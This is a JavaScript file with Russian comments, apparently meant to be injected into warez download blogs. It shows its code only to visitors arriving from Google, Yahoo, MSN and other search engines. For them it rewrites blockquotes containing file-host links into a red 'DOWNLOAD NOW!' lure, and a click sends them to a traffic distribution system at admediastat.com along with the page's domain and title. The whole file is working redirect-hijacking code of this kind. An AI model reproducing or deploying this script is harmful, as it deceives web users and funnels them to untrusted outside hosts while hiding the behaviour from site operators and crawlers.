var services = Array("rapidshare.com", "megaupload.com", "4shared.com", "badongo.com", "depositfiles.com", "filefactory.com", "filefront.com", "mediafire.com", "savefile.com", "sendspace.com", "uploading.com", "yourfilehost.com", "easy-share.com", "yousendit.com", "uploaded.to", "zshare.net", "netload.in", "filebase.to", "egoshare.com", "share-online.biz", "hotfile.com");
var separators = Array(
  " - rapidshare megaupload download", // downloadbb.com
  "download from rapidshare, megaupload", // opendownload.net
  "download movie from rapidshare, megaupload", // everydaymovies.net
  "download games from rapidshare, megaupload", // rapidsharegames.org
  "download game for free from rapidshare, megaupload", // zerogames.net
  "download rapidshare, megaupload, depositfiles", // sharedbox.net
  "rapidshare megaupload depositfiles download", // zerwarez.com
  "rapidshare download", // sharedbay.net
  "download rapidshare megaupload", // sharepost.com
  "download game megaupload rapidshare", // megauploadgames.net
  "rapidhsare download, megaupload download", // zerodownloads.net
  "rapidshare download", // rapidshare-downloads.org
  "rapidshare megaupload download", // zerodaysoft.com
  "download book rapidshare megaupload", // rapidsharebooks.net
  "download mp3 music rapidshare megaupload", // rapidsharemp3.org
  "download game xbox psp  ps2 ps3 psx", // rapidshareconsole.com
  "download software rapidshare megaupload", // anysoft.org
  "download game rapidshare megaupload", // recentgames.net
  "download rapidshare megaupload", // latestfiles.net
  //"download rapidshare megaupload", // filedeposit.org  - одинаковое с latestfiles.net
  "download rapidshare megaupload", // downloadforfun.net
  "rapidshare megaupload warez download" // warez-rapidshare.com
  ); 

function is_linkblock(block) {
  for (i = 0; i <= services.length-1; i++) {
    if ( block.indexOf(services[i]) > -1 ) {
      return true;
    }
  }
  
  return false;
}

function getTitle() {
  var title = document.title;
  var format = '';

  if (document.domain.indexOf('blogspot.com') > -1) {
    format = 'blogspot';
  }
  
  if (document.domain.indexOf('blogsome.com') > -1) {
    format = 'blogsome';
  }
  
  if (document.domain.indexOf('blogr.com') > -1) {
    format = 'blogr';
  }
  
  switch (format) {
    case 'blogspot':
      return title.substring(title.indexOf(': ')+2);
      break;
      
    case 'blogsome':
      title = title.substring(title.indexOf(' :: ')+4);
      return title.substring(0, title.indexOf(' :: '));
      break;
      
    case 'blogr':
      title = title.substring(title.indexOf(' - ')+1);
      title = title.substring(title.indexOf(' - ')+14);
      return title = title.replace(/-/g,' ');
      break;
      
    default:
      var p = -1;
      for (var i = 0; i <= separators.length-1; i++) {
        p = title.indexOf(separators[i]);
        if ( p > -1 ) {
          return title.substring(0, p);
        }
      }
      return document.title;
  }
}

/*  */
function init() {
    if (arguments.callee.done) {
      return false;
    }
    arguments.callee.done = true;

     /* init */
    blocks = document.getElementsByTagName('blockquote');
    for (var i = 0; i <= blocks.length-1; i++) {
      if ( is_linkblock(blocks[i].innerHTML) ) {
        blocks[i].onclick = function () {
          document.location = "http://admediastat.com/tds/in.cgi?3&se="+escape(document.domain)+"&parameter="+escape(getTitle());
        };
        blocks[i].innerHTML = '<u><font color=red>DOWNLOAD </font> '+getTitle()+' <font color=red> NOW!</font></u>';
        blocks[i].className = 'dl';
      }
    } /* end init */

};

function getSeKeyword() {
    var k = false;
    var r=document.referrer,t="",se="unknown",type;
    function a(c,d,e){if(r.indexOf(c)!=-1){t=d;se=e;}}
    a("google.","q","google");
    a("msn.","q","msn");
    a("live.","q","live");
    a("yahoo.","p","yahoo");
    a("altavista.","q","altavista");
    a("aol.","query","aol");
    a("ask.","q","ask");
    if(t.length&&((q=r.indexOf("?"+t+"="))!=-1||(q=r.indexOf("&"+t+"="))!=-1))k=r.substring(q+2+t.length).split("&")[0]; 

    return k ? decodeURIComponent(k) : false;
}

function isSeImages() {
  var r = document.referrer;
  if (r.indexOf('images.google.') > -1) {
    return true;
  }
}

k = getSeKeyword();
if ((k && k.substring(0, 5) != 'site:') || isSeImages()) {
    /* для Mozilla/Firefox/Opera 9 */
    if (document.addEventListener) {
        document.addEventListener("DOMContentLoaded", init, false);
    }
    
    /* для Internet Explorer */
    /*@cc_on @*/
    /*@if (@_win32)
    document.write("<script id=\"__ie_onload\" defer=\"defer\" src=\"javascript:void(0)\"><\/script>");
    var script = document.getElementById("__ie_onload");
    script.onreadystatechange = function() {
        if (this.readyState == "complete") {
      init(); // вызываем обработчик для onload
        }
    };
    /*@end @*/
    
    /* для Safari */
    if (/WebKit/i.test(navigator.userAgent)) { // условие для Safari
        var _timer = setInterval(function() {
      if (/loaded|complete/.test(document.readyState)) {
          clearInterval(_timer);
          init(); // вызываем обработчик для onload
      }
        }, 10);
    }
    
    /* для остальных браузеров */
    window.onload = init;
    document.write('<style type="text/css" media="screen">\n'
        +'blockquote.dl {\n'
        +'  background: none;\n'
        +'  background-color:#FFFFD6;\n'
        +'  border:1px dotted #519BEC;\n'
        +'  color:#000000;\n'
        +'  display:block;\n'
        +'  font-family:arial;\n'
        +'  font-size:14px;\n'
        +'  font-weight: bold;\n'
        +'  padding: 10px 20px;\n'
        +'  text-decoration:none;\n'
        +'  cursor: pointer;\n'
        +'}\n'
        +'blockquote.dl:hover {\n'
        +'  background-color: #AEFF78;\n'
        +'  text-decoration:none;\n'
        +'}\n'
        +'</style>');
}